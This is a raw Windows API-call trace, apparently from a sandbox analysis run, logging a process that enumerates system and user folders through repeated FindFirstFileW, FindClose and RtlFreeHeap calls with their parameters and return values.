RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0ed8) returned 1 [0063.557] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040390) returned 1 [0063.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd20541c0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20541c0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.558] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.558] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0f30) returned 1 [0063.558] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20349f0) returned 1 [0063.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd215eb60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd215eb60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.558] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.558] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20403e8) returned 1 [0063.558] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a00) returned 1 [0063.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.559] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.559] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040460) returned 1 [0063.559] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a10) returned 1 [0063.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd247e840, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd247e840, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.559] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.559] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20404c0) returned 1 [0063.559] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a20) returned 1 [0063.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.559] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.560] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0fa0) returned 1 [0063.560] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040050) returned 1 [0063.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.560] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.560] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c08) returned 1 [0063.560] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a30) returned 1 [0063.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft OneDrive\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.561] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.562] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040528) returned 1 [0063.562] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a40) returned 1 [0063.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.563] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.564] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040578) returned 1 [0063.564] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a50) returned 1 [0063.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9189b1f0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xe69290d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe69290d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.567] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.567] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c60) returned 1 [0063.567] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040080) returned 1 [0063.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.568] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.568] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c98) returned 1 [0063.568] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040070) returned 1 [0063.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.568] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.568] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034cd0) returned 1 [0063.568] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040060) returned 1 [0063.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.569] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034d08) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040090) returned 1 [0063.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\addins\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.569] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20405e0) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a60) returned 1 [0063.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\AppCompat\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.570] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040620) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a70) returned 1 [0063.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\AppPatch\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x57087b83, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x57087b83, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.570] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040660) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a80) returned 1 [0063.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\assembly\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0de3320, ftLastAccessTime.dwHighDateTime=0x1d73a91, ftLastWriteTime.dwLowDateTime=0xb0de3320, ftLastWriteTime.dwHighDateTime=0x1d73a91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.571] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.571] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20406a0) returned 1 [0063.571] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034a90) returned 1 [0063.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Boot\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.572] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.572] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20406d8) returned 1 [0063.572] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034aa0) returned 1 [0063.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Branding\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.573] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.573] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af8f8) returned 1 [0063.573] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ab0) returned 1 [0063.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\CSC\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.573] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.573] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040718) returned 1 [0063.573] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ac0) returned 1 [0063.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Cursors\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.583] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.583] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040750) returned 1 [0063.583] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ad0) returned 1 [0063.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\debug\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x782cee30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x782cee30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.583] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.583] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040788) returned 1 [0063.583] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ae0) returned 1 [0063.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\diagnostics\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.584] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.584] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20407c8) returned 1 [0063.584] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034af0) returned 1 [0063.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\DigitalLocker\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.587] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.587] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040810) returned 1 [0063.587] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b00) returned 1 [0063.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Downloaded Program Files\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.587] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.588] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040870) returned 1 [0063.588] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b10) returned 1 [0063.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\ehome\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.597] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.597] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20408a8) returned 1 [0063.597] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b20) returned 1 [0063.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\en-US\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.597] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.597] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20408e0) returned 1 [0063.597] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b30) returned 1 [0063.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Fonts\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87c438a0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x87c438a0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.609] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.610] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040918) returned 1 [0063.610] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b40) returned 1 [0063.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Globalization\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.610] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.610] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040960) returned 1 [0063.610] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b50) returned 1 [0063.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Help\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.611] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.611] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af928) returned 1 [0063.611] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b60) returned 1 [0063.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\IME\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, 